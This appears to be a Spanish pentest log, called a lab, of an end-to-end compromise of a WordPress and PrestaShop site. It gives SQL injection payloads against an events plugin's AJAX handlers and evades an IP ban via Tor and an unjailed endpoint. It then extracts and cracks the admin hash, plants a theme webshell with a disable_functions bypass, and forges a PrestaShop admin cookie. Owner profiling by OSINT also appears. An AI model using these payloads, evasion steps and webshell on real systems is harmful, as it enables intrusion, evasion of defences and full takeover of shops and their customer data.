Pentest de laboratorio: victima.example

Escaneo completo TCP/UDP sobre 203.0.113.10 (victima.example / host34.provider.example). Rango bajo (1-10000) cubierto; rango alto hit host-timeout por firewall rate-limiting.

• 22 servicios abiertos identificados
• 80/443 — Apache httpd (HTTPS principal)
• 21 — Pure-FTPd (SSL/TLS) · 22 — SSH
• 3306 — MySQL 5.7 (unauthorized desde exterior)
• 53 — Unbound DNS · 5060 — SIP
• 110/143/993/995 — Dovecot POP3/IMAP · 587 — SMTP submission
• 2082/2083 — cPanel · 2086/2087 — WHM · 2095/2096 — Webmail · 2078 — Webdisk
• 8080 — http-proxy (tcpwrapped)

• xmlrpc.php habilitado (system.multicall + pingback.ping + wp.*)
• REST API /wp-json/ habilitada — expone usuarios
• wp-sitemap-users-1.xml expone autores
• ?author=1 → 301 redirect a /author/siteadmin/
• Usuario admin único: siteadmin (ID=1)
• Registro de usuarios: deshabilitado
• Info-disclosure: readme.html, license.txt, install.php, repair.php accesibles

• Server header: Apache (ServerTokens Prod)
• Cabeceras de seguridad ausentes: HSTS, CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy
• Ficheros sensibles probados (todos 404): .git/HEAD, .env, wp-config.php.bak, .htaccess, .htpasswd, backup.sql, backup.zip...
• Directory listing: deshabilitado en /wp-content/ y subdirectorios
• /wp-config.php: 200 con 0 bytes (PHP interpretado, no leak)
• /server-status y /server-info: 404 (no expuestos)

Sin tocar el host (estábamos en ban IP). Subdominios pasivos via subfinder/amass/dnsdumpster:

• Descubiertos: cpanel.victima.example, webmail.victima.example, webdisk.victima.example, mail.victima.example, sitio-hermano.example — todos → 203.0.113.10
• Wayback Machine (waybackurls): sin leaks de config/creds
• Google dorks: site:victima.example, pastebin 'target', 'shopowner'

• Admin Principal (SiteAdmin)
• Tienda física: Calle Ficticia 123, 01001 Ciudad
• Empresa: Empresa Operadora SL (Ciudad, CIF B00000000)
• Email: shopowner@example.org
• Histórico: Joomla en 198.51.100.99 (OVH Italy) hasta ~Q2 2021, migrado a WP ~April 2021

Primer intento de SQLi time-based en mec_list_load_more con OR SLEEP(5):

copyPOST /wp-admin/admin-ajax.php?action=mec_list_load_more
data: atts[include][]=0) OR SLEEP(5)#
# Baseline: HTTP 200, 1.3s, JSON count=0
# Payload SLEEP → ban IP-level inmediato (fail2ban recidive jail)

Para eludir el ban IP, se montó un proxy Tor SOCKS5:

• Tor daemon en 127.0.0.1:9050 (PID 8912)
• ExitNodes: es, fr, de, nl
• Verificado: proxychains curl ipify devuelve IP Tor
• Alcance a victima.example desde Tor: ~50% success (OVH edge bloquea algunos exits Tor)

Tor + payload UNION quote-free de 8 columnas:

copyPOST /wp-admin/admin-ajax.php?action=mec_list_load_more
data: atts[include][]=0) UNION SELECT 1,0,0x323032372d30362d3135,
  0x323032372d30362d3135,1813010400,1813010400,0x7075626c697368,1 -- -

# Respuesta: HTTP 200 JSON {"end_date":"2027-06-15","count":0}
# La fecha inyectada 2027-06-15 (0x323032372d30362d3135) aparece en end_date
# → UNION ejecutándose confirmed

• Canal de exfiltración: end_date (charset Y-m-d, solo fechas)
• Subquery referenciando wp_users funciona → confirma wp_users existe

• Sink: app/libraries/skins.php:610 — implode(',', $this->atts['include']) concatenado RAW en SQL
• Parámetro inyectable: $_REQUEST['atts']['include'] / $_REQUEST['atts']['exclude']
• Tabla: #__mec_dates (8 columnas: id, post_id, dstart, dend, tstart, tend, status, public)
• getVar() returns raw $_REQUEST sin sanitización; wp_magic_quotes solo afecta string literals (usar 0x hex)

3 requests booleanos via end_date oracle (TRUE=2028-01-01, FALSE=2029-01-01):

• FILE privilege: FALSE
• SUPER privilege: FALSE
• secure_file_priv: non-empty

Técnica: MAKEDATE boolean oracle via mec_grid_load_more (handler alternativo NO en el jail de fail2ban):

copyatts[include][]=0) UNION SELECT 1,0,
  MAKEDATE(2027,ASCII(SUBSTRING((subquery),N,1))),
  ...,1 -- -
# 1 byte por request via encoding MAKEDATE → byte extraído aparece como fecha en end_date
# ~60 requests lentos (delay 3-5s, sin trigger de fail2ban)

Hash phpass (WordPress portable hash, hashcat mode 400):

copy$P$B<REDACTED-PHPASS-HASH>/

# hashcat -m 400 + wordlist custom (Spanish/Ciudad/Target/Empresa/2026) + dive.rule
# Crackeado: [REDACTED] (plaintext recuperado, valor redactado)

Verificación via xmlrpc.php wp.getUsersBlogs:

copyPOST /xmlrpc.php
<methodCall><methodName>wp.getUsersBlogs</methodName>
<params>
  <param><value>siteadmin</value></param>
  <param><value>[REDACTED]</value></param>
</params>

# Respuesta: isAdmin=1, blogName=TiendaDemo, blogid=1
# ACCESO WP ADMIN CONFIRMADO 🎯
# Goal marcado como achieved

Con acceso WP admin (sesión cookie en /tmp/crack/wp_cookies.txt):

• Theme editor: Inyección en 404.php del theme dt-the7
• Bypass disable_functions: exec, passthru, shell_exec, system deshabilitados en PHP 7.4.33, PERO proc_open permitido
• Webshell: https://victima.example/wp-content/themes/dt-the7/404.php
• Handlers: ?cmd=<sh -c>, ?read=<path>, ?dump=<sql>, ?probe=1
• Ejecuta como uid=1112(siteuser) gid=1113(siteuser)
• open_basedir vacío — acceso filesystem completo

Via webshell ?read=:

Via webshell ?dump= (MySQLi directo):

• Versión PrestaShop: fingerprint inicial estimó 1.7.7.x. Ground truth: 1.7.8.3 (leído via webshell).
• Directorio admin renombrado: ffuf/gobuster → todos 404. Descubierto via webshell: /shop/admin7x2kp9/
• Módulos: 28 módulos enumerados via ffuf sobre /modules/

• Webservice API: /shop/api/ habilitado, 401 sin key
• Theme: classic (webpack5, default 1.7.x)
• Registro de clientes: abierto por defecto

• Cuenta cliente registrada: pentest-test@example.net / [REDACTED]
• Acceso front-office (customer), NO BO admin

CVE-2022-31101 requiere que el endpoint /module/blockwishlist/view sea alcanzable. 6 indicadores host-level confirman blockwishlist está UNINSTALLED:

• Todos los /module/blockwishlist/* routes → 404
• ?fc=module&module=blockwishlist&controller=view → 404
• DB ground truth: SELECT id_module FROM ps_module WHERE name='blockwishlist' → NO ROW

Formato estimado: cookie_name = PrestaShop-<md5(cookie_key+'Admin|'+cookie_key)>, contenido = serialize(array employee data), checksum = md5(...). No funcionó. PS 1.7.8.3 usa _NEW_COOKIE_KEY_ (AES via PhpEncryption) + sha256(_COOKIE_IV_+body) checksum.

Script PHP construido via webshell en /home/siteuser/public_html/shop/.ps_forge.php:

• Lee _NEW_COOKIE_KEY_ y _COOKIE_IV_ de parameters.php
• Inserta fila en employee_session (id=<redacted>, token <REDACTED-TOKEN>...) para binding de sesión
• Encripta cookie con PhpEncryption(_NEW_COOKIE_KEY_) usando checksum sha256(_COOKIE_IV_+body)
• Emite cookie PrestaShop-a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4=<REDACTED-ENCRYPTED-COOKIE>

• Ejecutado .ps_forge.php via HTTP → cookie generada
• Probada contra https://victima.example/shop/admin7x2kp9/ con curl -b
• GET → 302 AdminDashboard?token=... → 200 (129KB full BO dashboard)
• Dashboard completo con menús: Pedidos, Catálogo, Clientes, Módulos, Preferencias, Parámetros, Estadísticas
• Banner muestra "Admin" (Admin Principal, SuperAdmin)
• ACCESO BO ADMIN CONFIRMADO 🎯